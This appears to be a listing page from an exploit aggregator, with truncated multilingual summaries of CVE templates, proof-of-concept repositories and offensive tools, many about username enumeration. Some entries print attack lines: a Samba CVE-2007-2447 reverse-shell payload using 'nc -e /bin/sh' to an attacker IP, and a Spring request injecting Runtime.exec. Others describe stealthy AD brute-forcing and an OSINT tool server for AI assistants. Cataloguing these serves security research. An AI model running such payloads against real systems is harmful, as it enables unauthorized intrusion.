Webmin < 1.920 - Authenticated Remote Code Execution

rpc.cgi in Webmin through 1.920 allows authenticated Remote Code Execution via a crafted object name because unserialisevariable makes an eval call. NOTE: the WebminServersIndex documentation states "RPC can be used to run any command or modify any file on a server, which is why access to it must...

DomainMOD 4.13.0 - Cross-Site Scripting

DomainMOD 4.13.0 is vulnerable to cross-site scripting via reporting/domains/cost-by-owner.php in the "or Expiring Between" parameter. id: CVE-2020-20988 info: name: DomainMOD 4.13.0 - Cross-Site Scripting author: arafatansari severity: medium description: | DomainMOD 4.13.0 is vulnerable to...

Loan Management System 1.0 - SQL Injection

Loan Management System 1.0 contains a SQL injection vulnerability via the username parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. id: CVE-2025-9744 info: name:...

Purchase Order Management v1.0 - Cross Site Scripting (Reflected)

Purchase Order Management v1.0 was discovered to contain a reflected cross-site scripting XSS vulnerability via the password parameter at /purchaseorder/classes/login.php. id: CVE-2023-29623 info: name: Purchase Order Management v1.0 - Cross Site Scripting Reflected author: theamanrawat severity:...

Pritunl VPN Server 1.29.2145.25 - Username Enumeration

Pritunl 1.29.2145.25 contains a username enumeration issue caused by different error responses in /auth/session login attempts, letting attackers verify valid usernames, exploit requires network access to the login endpoint. id: CVE-2020-25200 info: name: Pritunl VPN Server 1.29.2145.25 - Usernam...

AnythingLLM - Username Enumeration via Password Recovery

AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to commit e287fab56089cf8fcea9ba579a3ecdeca0daa313, the password recovery endpoint returns different error messages depending on whether a username exists, so enabling...

CVE-2023-7172

CVE-2023-7172 Resumen Este proyecto contiene una versión vulnerable de un Sistema de Gestión Hospitalaria HMS que es susceptible a Inyección SQL CVE-2023-7172. La Inyección SQL es una vulnerabilidad crítica de aplicaciones web que puede tener impactos graves en la seguridad y funcionalidad de un...

ldapnomnom

LDAP Nom Nom 悄无声息地以极速从域控制器暴力破解 Active Directory 用户名，通过（滥用）LDAP Ping 请求（cLDAP） 查找已启用的普通用户账户。不会生成 Windows 审核日志。高速 —— 每台服务器每秒高达 5 万次 —— 多台服务器并行使用，速度远超此数！ 自动尝试从已加入域机器的环境变量中检测域控制器，否则回退到主机 FQDN DNS 后缀 从标准输入（默认）或文件读取待测试的用户名 输出到标准输出（默认）或文件 并行化，支持多服务器多连接（默认 8 台服务器，每台服务器 8 个连接） 若同时使用输入和输出文件，则显示进度条 规避动作：使用...

CVE-2021-3560-Polkit-DBus

CVE-2021-3560-Polkit-DBus Script simple de prueba de concepto para la escalada de privilegios CVE-2021-3560 Polkit D-Bus. Para más información, consulta la publicación original del blog: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/ Uso Intenta ejecutar el...

FUDforum-XSS-RCE

FUDforum-XSS-RCE FUDForum 3.0.9 - XSS / 远程代码执行 CVE-2019-18873, CVE-2019-18839 在 FUDforum 3.0.9 中发现了多个存储型 XSS 漏洞，可能导致远程代码执行。 通过论坛用户名存储型 XSS：信息 | 演示 通过管理面板用户代理存储型 XSS：信息 | 演示...

autocrack

AUTOCRACK.py This python script is a Hashcat https://hashcat.net wrapper to help automate the cracking process. The script includes multiple functions to select a set of wordlists and rules, as well as the ability to run a bruteforce attack, with custom masks, before the wordlist/rule attacks...

CVE-2024-12484

CVE CVE-poc 问题类型 SQL 注入漏洞 根本原因 在“使用PHP源码的技术论坛”项目的 /signuppost.php 文件中发现了一个SQL注入漏洞。该漏洞源于攻击者可以通过登录用户名参数注入恶意代码，并且该参数未经验证直接用于SQL查询。这使得攻击者能够伪造输入值以操纵SQL查询并执行未授权操作。 影响 攻击者可以利用此SQL注入漏洞获得对数据库的未授权访问、泄露敏感数据、篡改数据、完全控制系统，甚至中断服务，对系统安全和业务连续性构成严重威胁。 漏洞详情与POC 漏洞名称：用户名参数 root@kitploit: Payload Parameter: Username...

cve-2022-22980

spring-data-mongodb-cve-2022-22980-exp 鸡肋漏洞，只是记录。 1. 启动redis，27017端口 2. 启动项目，springboot启动在6666端口 3. root@kitploit: GET /v1/user/get?username=Tjava.lang.Runtime.getRuntime.exec'open+-a+calculator.app' HTTP/1.1 Host: localhost:6666 Accept-Encoding: gzip, deflate Accept: / Accept-Language:...

smb_usermap

smbusermap Un exploit simple para CVE-2007-2447, presente en Samba 3.0.20. Puedes explotar esta vulnerabilidad con incluso menos que esto, por ejemplo, con smbclient, pero creo que es difícil ejecutar comandos complejos, ya que muchos caracteres especiales probablemente se pierden, pero un comand...

Samba-CVE-2007-2447-Exploit

Samba CVE-2007-2447 漏洞利用 这是一个用于利用 CVE-2007-2447 的 Python 脚本，该漏洞是 Samba 服务器中的“用户名”映射脚本命令执行漏洞。 描述 此漏洞利用程序针对 Samba 版本 3.x - 4.x。CVE-2007-2447 允许攻击者通过构造恶意的用户名和密码在易受攻击的 Samba 服务器上执行任意命令。 使用方法 1. 在你的攻击机上设置监听器，例如使用 Netcat：nc -nvlp 1234 2. 运行 Python 脚本并提供所需信息： 你的 IP（用于传递反向 shell） 受害者 IP 受害者端口 3. 脚本将构建反向...

CVE-2007-2447-in-Python

CVE-2007-2447 - Python 实现 描述 针对 Samba 3.0.20 IP - 远程机器的 IP 地址。 PORT - （可选）SMB 运行的端口。 PAYLOAD - 要在远程机器上执行的有效载荷，例如反弹 shell。 示例： python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444' 参考资料 CVE-2007-2447：远程命令注入漏洞 Samba...

osint-tools-mcp-server

🔍 OSINT工具MCP服务器 一个全面的MCP服务器，向Claude等AI助手开放多个OSINT工具。该服务器允许AI利用行业标准的OSINT工具执行复杂的情报收集和信息搜集任务。 🛠️ 可用工具 🔍 Sherlock - 用户名搜索 在399多个社交媒体平台和网站上搜索用户名。非常适合数字足迹分析。 输入 : 用户名 输出 : 存在该用户名的平台列表 📧 Holehe - 邮箱验证 检查邮箱是否已在120多个平台上注册。速度快且准确。 输入 : 邮箱地址 输出 : 邮箱已注册的平台 🕷️ SpiderFoot - 全面OSINT...

weape

wEAPe Script Weape-Wireless-EAP-Extractor ============================================ Extrae automáticamente nombres de usuario EAP 802.1x Desarrollado por Daniel Compton en Info-Assure Ltd https://github.com/commonexploits/weape.git Instalación root@kitploit: git clone...

SSH_Enum_CVE-2018-15473

SSH Username Enumeration Exploit This script is a modified version of an original exploit that allows enumeration of SSH users on vulnerable servers OpenSSH 2.3 7.7. Functionality The script uses a vulnerability in the SSH protocol to enumerate valid users on the target server. It can enumerate...

WhoamiAlternatives

Alternativas a whoami Algunos experimentos para obtener el nombre de usuario actual sin llamar a whoami.exe o binarios similares. Método 1: PRTLUSERPROCESSPARAMETERS Obtener las variables de entorno de la estructura PEB y analizarlas para encontrar el nombre de usuario. La función...